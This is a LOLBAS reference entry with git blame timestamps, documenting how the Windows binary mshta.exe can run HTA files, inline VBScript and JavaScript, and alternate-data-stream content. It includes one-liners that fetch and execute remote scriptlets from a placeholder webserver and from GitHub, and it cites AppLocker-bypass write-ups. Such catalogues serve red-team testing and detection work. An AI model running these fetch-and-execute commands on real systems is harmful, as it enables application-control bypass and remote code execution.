LOLBAS/OSBinaries/Mshta.md

38 lines
1.1 KiB
Markdown
Raw Normal View History

2018-04-18 13:41:44 +00:00
## mshta.exe
2018-04-19 00:06:48 +00:00
* Functions: Execute, Read ADS
2018-04-18 13:41:44 +00:00
```
2018-04-18 21:12:38 +00:00
mshta.exe evilfile.hta
mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
2018-04-19 00:06:48 +00:00
mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close();
mshta "C:\ads\file.txt:file.hta"
2018-04-18 13:41:44 +00:00
```
Acknowledgements:
2018-04-18 21:12:38 +00:00
* Casey Smith - @subtee
2018-04-19 00:06:48 +00:00
* Oddvar Moe - @oddvarmoe
2018-04-18 21:12:38 +00:00
Code sample:
* [Mshta_calc.sct](Payload/Mshta_calc.sct)
Resources:
* https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Execution/Mshta.md
* https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_4
* https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/mshta.sct
* https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/
2018-04-19 00:06:48 +00:00
* https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
2018-04-18 21:12:38 +00:00
Full path:
```
C:\Windows\System32\mshta.exe
C:\Windows\SysWOW64\mshta.exe
```
Notes:
SCT code borrowed from Red Canary - Atomic Red Team